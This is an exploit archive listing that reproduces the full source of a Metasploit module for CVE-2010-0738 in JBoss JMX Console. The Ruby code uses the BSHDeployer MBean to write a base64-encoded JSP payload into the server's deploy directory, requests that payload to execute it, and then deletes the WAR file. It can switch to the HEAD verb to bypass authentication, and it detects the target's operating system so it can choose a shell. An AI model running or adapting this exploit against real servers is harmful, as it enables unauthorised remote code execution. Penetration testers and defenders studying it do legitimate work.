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JBoss JMX Console Beanshell Deployer WAR Upload And Deployment

JBoss JMX Console Beanshell Deployer WAR Upload And Deployment
Posted Jun 24, 2010
Authored by Patrick Hof, jduck | Site metasploit.com

This Metasploit module can be used to install a WAR file payload on JBoss servers that have an exposed "jmx-console" application. The payload is put on the server by using the jboss.system:BSHDeployer's createScriptDeployment() method.

tags | exploit
advisories | CVE-2010-0738
SHA-256 | 8bc89c8613979d44be9747d0a887fce9f0459d5d6182d9efc465b994ee91205b

JBoss JMX Console Beanshell Deployer WAR Upload And Deployment

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##
# $Id: jboss_bshdeployer.rb 9596 2010-06-23 22:25:03Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'JBoss JMX Console Beanshell Deployer WAR upload and deployment',
'Description' => %q{
This module can be used to install a WAR file payload on JBoss servers that have
an exposed "jmx-console" application. The payload is put on the server by
using the jboss.system:BSHDeployer's createScriptDeployment() method.
},
'Author' => [ 'Patrick Hof', 'jduck' ],
'License' => BSD_LICENSE,
'Version' => '$Revision: 9596 $',
'References' =>
[
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ]
],
'Privileged' => true,
'Platform' => [ 'windows', 'linux' ],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'Universal',
{
'Arch' => ARCH_JAVA,
'Payload' =>
{
'DisableNops' => true,
},
}
],
],
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptString.new('SHELL', [ false, 'The system shell to use', 'automatic' ]),
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
OptString.new('VERB', [ true, 'The HTTP verb to use (for CVE-2010-0738)', 'POST' ]),
], self.class)
end


def exploit
datastore['BasicAuthUser'] = datastore['USERNAME']
datastore['BasicAuthPass'] = datastore['PASSWORD']

jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8))
app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8))

verb = datastore['VERB']
if (verb != 'GET' and verb != 'POST')
verb = 'HEAD'
end

p = payload
if datastore['SHELL'] == 'automatic'
if not (plat = detect_platform())
raise RuntimeError, 'Unable to detect platform!'
end

case plat
when 'linux'
datastore['SHELL'] = '/bin/sh'
when 'win'
datastore['SHELL'] = 'cmd.exe'
end

print_status("SHELL set to #{datastore['SHELL']}")

# Payload generation already happened, therefore SHELL will
# already be 'automatic' in the payload regardless of what we set above.
# To fix this, we regenerate the payload now..
return if ((p = regenerate_payload(platform, target_arch)) == nil)
end

# The following Beanshell script will write the exploded WAR file to the deploy/
# directory
encoded_payload = [p.encoded].pack('m').gsub(/\n/, '')
bsh_script = <<-EOT
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;

String val = "#{encoded_payload}";

BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{app_base + '.war'}").mkdir();
byte[] byteval = decoder.decodeBuffer(val);
String jsp_file = jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}";
FileOutputStream fstream = new FileOutputStream(jsp_file);
fstream.write(byteval);
fstream.close();
EOT

#
# UPLOAD
#
print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer")
res = invoke_bshscript(bsh_script, verb)
if !res
raise RuntimeError, "Unable to deploy WAR [No Response]"
end
if (res.code < 200 || res.code >= 300)
case res.code
when 401
print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
end
raise RuntimeError, "Upload to deploy WAR [#{res.code} #{res.message}]"
end

#
# EXECUTE
#
uri = '/' + app_base + '/' + jsp_name + '.jsp'
print_status("Executing #{uri}...")

# JBoss might need some time for the deployment. Try 5 times at most and
# wait 3 seconds inbetween tries
num_attempts = 5
num_attempts.times { |attempt|
res = send_request_cgi({
'uri' => uri,
'method' => verb
}, 20)

msg = nil
if (! res)
msg = "Execution failed on #{uri} [No Response]"
elsif (res.code < 200 or res.code >= 300)
msg = "Execution failed on #{uri} [#{res.code} #{res.message}]"
elsif (res.code == 200)
print_good("Successfully triggered payload at '#{uri}'")
break
end

if (attempt < num_attempts - 1)
msg << ", retrying in 3 seconds..."
print_error(msg)

select(nil, nil, nil, 3)
else
print_error(msg)
end
}

#
# DELETE
#
# The WAR can only be removed by physically deleting it, otherwise it
# will get redeployed after a server restart.
bsh_script = <<-EOT
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}").delete();
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
EOT

print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")
res = invoke_bshscript(bsh_script, verb)
if !res
print_error("WARNING: Unable to remove WAR [No Response]")
end
if (res.code < 200 || res.code >= 300)
print_error("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
end

handler
end

# Try to autodetect the target platform
def detect_platform()
print_status("Attempting to automatically detect the platform...")

path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
res = send_request_raw(
{
'uri' => path
}, 20)

if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end

if (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\/td>/m)
os = $1
if (os =~ /Linux/i)
return 'linux'
elsif (os =~ /Windows/i)
return 'win'
end
end
nil
end


# Invokes +bsh_script+ on the JBoss AS via BSHDeployer
def invoke_bshscript(bsh_script, verb)
params = 'action=invokeOpByName'
params << '&name=jboss.deployer:service=BSHDeployer'
params << '&methodName=createScriptDeployment'
params << '&argType=java.lang.String'
params << '&arg0=' + Rex::Text.uri_encode(bsh_script)
params << '&argType=java.lang.String'
params << '&arg1=' + rand_text_alphanumeric(8+rand(8)) + '.bsh'

if (verb == "POST")
res = send_request_cgi({
'method' => verb,
'uri' => datastore['PATH'] + '/HtmlAdaptor',
'data' => params
})
else
res = send_request_cgi({
'method' => verb,
'uri' => datastore['PATH'] + '/HtmlAdaptor?' + params
})
end
res
end
end
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